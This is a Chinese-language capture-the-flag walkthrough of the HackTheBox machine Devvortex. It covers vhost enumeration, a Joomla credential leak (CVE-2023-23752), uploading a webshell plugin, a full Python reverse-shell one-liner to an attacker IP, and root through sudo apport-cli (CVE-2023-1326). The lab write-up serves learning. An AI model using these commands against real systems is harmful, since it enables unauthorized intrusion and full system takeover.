User Flag
nmap 10.10.11.242 -A
开放了了22和80端口,根据提示添加个配置:
echo "10.10.11.242 devvortex.htb" | sudo tee -a /etc/hosts
访问web:
看了一圈,没发现什么特征,网站也没什么功能点,还尝试了爆破常见目录、JS找敏感路径,无果。
这里卡了很久,逃课看了一下一步,居然是爆破子域名,而且要用到vhost爆破:
gobuster vhost -u http://devvortex.htb/ -w /Users/fox09/Downloads/subdomains-top1million-5000.txt --append-domain
查了一下,有别于DNS爆破的直接向DNS服务器通信,vhost爆破是通过HTTP请求不同的子域名,再根据响应判断子域名是否存在。
我分别尝试了dns模式和vhost模式:
可以看到只有vhost模式能爆破出dev.devvortex.htb
。
但我有点纳闷,/etc/hosts
都是我自己配置的,这个子域名并不在配置中,对它进行请求,不也需要先经过DNS服务器查询到相应的IP后才能进行通信吗?
我在hackthebox官方论坛上也看到其他人有着同样的疑惑:
I am somewhat confused on enumerating domains. You always have to define any htb domains you find manually in your /etc/hosts file so how exactly does enumerating domains work with an htb box?
Great question. Answer is virtual hosts.
有人这样回复:
Simplified explanation:
Virtual hosts are another website hosted on the same server as the main site.
The web server looks at the "Host: " header to decide which hosted website to route the traffic to. A single web server can have thousands of virtual hosts (and did, back in the day…).
Your tools will send different combinations to “foo.htb” with different “Host” header fields like “admin.foo.htb”, “api.foo.htb”, “dev.foo.htb” until the “foo.htb” web server returns something.
This is a common trope on HTB boxes.
到现在还是没搞懂……
总之得到了dev.devvortex.htb
,先添加个配置:
echo "10.10.11.242 dev.devvortex.htb" | sudo tee -a /etc/hosts
正常访问web还是没啥发现,用nuclei
扫一下:
发现了个robots.txt
,看一眼:
爆!administrator
,访问一下:
使用了joomla,终于到了熟悉的情况。经过一番搜寻,找到了CVE-2023-23752,尝试打一下:
按照漏洞原理,这里泄漏的是数据库的信息。数据库类型是myslqi
,还泄漏了lewis
的密码。可是根据之前端口扫描并没有发现对外开放的数据库端口,只能尝试用用户名密码登陆joomla试试看,结果真进去了。
经过一番搜寻,后台没发现什么敏感信息。找了一个Joomla-webshell-plugin,可以直接命令执行。
在System-Extensions
处直接上传项目压缩包:
上传成功后可以看到一个名为Webshell
的拓展:
再访问http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=id
:
成功执行命令,权限为www-data
,还拿不到User Flag。
不过这种非交互式的shell总是不方便的,尝试弹个shell:
http://dev.devvortex.htb/modules/mod_webshell/mod_webshell.php?action=exec&cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
还记得之前得到的数据库信息吗?得到反弹shell后就可以尝试连接了:
最终在sd4fg_user
表中发现了用户信息,之前在/etc/passwd
里发现存在用户logan
,这应该就是我们的目标了:
用hashcat
解密,得到密码:
ssh链接,拿到flag~
System Flag
sudo -l
看看:
可以以sudo权限运行apport-cli
,但在GTFOBins中并没有找到它的利用方法。又经过了一番搜索,我找到了CVE-2023-1326。
$ sudo apport-cli -c /var/crash/xxx.crash
[...]
Please choose (S/E/V/K/I/C): v
!id
uid=0(root) gid=0(root) groups=0(root)
!done (press RETURN)
看起来好简单!但很快我就发现,靶机的/var/crash/
目录下并不存在任何文件。我在这里卡了很久,甚至直接找了其他人的文章来看,但他们都存在现成的,可以直接利用的xxx.crash
文件。我一度以为是谁拿到root权限后把本应存在的文件删掉了,但重置机器后xxx.crash
依然没有出现。
看来还是得回到问题本身。/var/crash/xxx.crash
究竟是什么?我问了ChatGPT。
/var/crash
目录通常用于存储系统崩溃或程序崩溃时生成的核心转储文件(core dump files)。这些文件记录了系统或应用程序在崩溃时的内存状态、调用堆栈等信息,有助于开发人员分析并解决问题。
当系统或应用程序发生崩溃时,操作系统通常会将关键信息写入 .crash
或 .core
文件,并存储在 /var/crash
目录下,以便后续分析和调试。
所以想要产生.crash
文件,就要让系统或应用程序崩溃。
先创造一个简单无害的程序:
yes > /dev/null &
一开始我尝试了pkill yes
,但并没有产生.crash
文件,最后使用:
killal1 -SIGSEGV yes
成功!接下来按部就班就能拿到flag了: